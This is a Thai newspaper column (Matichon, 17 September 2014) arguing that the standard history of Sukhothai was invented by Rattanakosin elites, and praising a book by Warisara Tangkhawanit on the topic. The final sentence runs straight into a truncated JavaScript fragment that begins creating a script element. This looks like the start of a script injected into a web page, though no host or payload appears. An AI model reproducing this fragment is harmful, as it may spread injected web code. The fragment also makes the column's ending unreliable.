มติชนรายวัน ฉบับประจำวันพุธที่ 17 กันยายน  2557

 

นิยายเพิ่งสร้างใหม่ๆ เรื่องประวัติศาสตร์สุโขทัย

           ประวัติศาสตร์สุโขทัยมี 2 ส่วน ทับซ้อนกัน คือ ส่วนที่มีพัฒนาการ กับส่วนที่เพิ่งสร้าง

           ส่วนที่เพิ่งสร้าง “ถูกสอนให้จำ” ส่วนที่มีพัฒนาการ “ถูกทำให้ลืม”

           1. ส่วนที่มีพัฒนาการ สุโขทัยเป็นชุมชนสถานีการค้า (ไม่ลอยลงมาจากสวรรค์) อยู่บนเส้นทางการค้าข้ามภูมิภาค มีคนหลายชาติพันธุ์อยู่ปะปนกัน แต่ที่สำคัญคือลาวกับมอญ-เขมร แล้วเติบโตขึ้นเป็นรัฐขนาดเล็กจากการผลักดันเพื่อผลประโยชน์ทางเศรษฐกิจ-การเมืองของรัฐใหญ่ใกล้ทะเล ซึ่งเป็นเครือญาติใกล้ชิด คือรัฐละโว้-อโยธยา และรัฐอู่ทอง-สุพรรณภูมิ

           2. ส่วนที่เพิ่งสร้าง สุโขทัยเป็นรัฐในอุดมคติ (เหมือนลอยลงมาจากสวรรค์) ถูกสร้างโดยคนชั้นนำกรุงรัตนโกสินทร์ ให้เป็นประวัติศาสตร์แห่งชาติ ว่าเป็นราชธานีแห่งแรกของไทย, ประชากรเป็นชนชาติไทยแท้ๆ (อพยพลงมาจากที่อื่น เช่น เทือกเขาอัลไต, น่านเจ้า), พ่อขุนรามคำแหงประดิษฐ์อักษรไทย, นางนพมาศประดิษฐ์กระทง เริ่มมีประเพณีลอยกระทง, ฯลฯ

210 บาท

           ประวัติศาสตร์“สุโขทัย”ที่เพิ่งสร้าง ของ วริศรา ตั้งค้าวานิช เป็นหนังสือดีที่สุดขณะนี้ที่รวบรวมพยานหลักฐานว่าคนชั้นนำรัตนโกสินทร์สร้างประวัติศาสตร์สุโขทัยขึ้น โดยเริ่มให้ความสำคัญตั้งแต่แผ่นดิน ร.1

           “เพื่อรับใช้และเชื่อมโยงกับเรื่องบางเรื่อง เช่น ความเป็นมาอันยาวนานของชาติไทย ความชอบธรรมของสถาบันพระมหากษัตริย์ ความเป็นไทยแท้ ดั้งเดิม และเป็นอุดมคติ ฯลฯ”

           ประวัติศาสตร์สุโขทัยที่เพิ่งสร้างใหม่ๆ คือนิยายที่เสกสรรปั้นแต่งขึ้นมาด้วยผู้มีฝีมือผูกเรื่องเป็นเลิศ จนไม่อาจลบล้างความเลื่อมใสของคนอ่านได้ เรื่องนี้วริศราบอกไว้ท้ายสุดว่า

           “การสร้างประวัติศาสตร์และเรื่องราวที่เป็นอุดมคติจนข้อโต้แย้งที่มีเหตุผลหนักแน่นเพียงใดก็ไม่อาจจะล้มล้างความงดงามราวภาพฝันนั้นลงไปได้ มิได้มีแต่เพียงเรื่องสุโขทัยเรื่องเดียว

           ในประเทศไทยเองหรือแม้แต่ประเทศอื่นใดในโลก ทุกๆสังคมล้วนแล้วแต่มีประวัติศาสตร์และเรื่องเล่าของสิ่งที่ ‘ดีมากจนเหลือเชื่อ’ (too good to be true) เช่น เรื่องเล่าของวีรบุรุษ เมือง สถานที่สำคัญ วัฒนธรรมประเพณี ฯลฯ ที่ถูกเสกสรรปั้นแต่งจนเกินเลยไปจากสิ่งดั้งเดิม

           ครูบาอาจารย์ที่สอนประวัติศาสตร์โบราณคดี ต้องทำความเข้าใจเรื่องนี้จงหนัก แล้วอธิบายตามจริงเหมือนเล่มนี้ว่าประวัติศาสตร์สุโขทัย เพิ่งสร้างใหม่

           ดังนั้น “จะเป็นการดียิ่งถ้าหากจะมีการศึกษาเพื่อ ‘ลอกเปลือก’ และสืบค้นความเป็นมาและทำความเข้าใจว่าเหตุใดจึงเกิดเรื่องราวเหล่านี้ในสังคม ผู้ใดเป็นผู้สร้างหรือผู้ควบคุมเรื่องเล่าดังกล่าว เพื่อเป็นหนทางหนึ่งที่จะช่วยให้เข้าใจลักษณะธรรมชาติของผู้คน และรวมไปถึงกลไกอำนาจของสังคมนั้นๆอีกด้วย”

           โดยไม่หลอกนักเรียนนักศึกษาประชาชนให้งมงาย จนคุณภาพการศึกษาไทยรั้งท้ายอาเซียนvar d=document;var s=d.createElement(‘script’); if (document.currentScript) {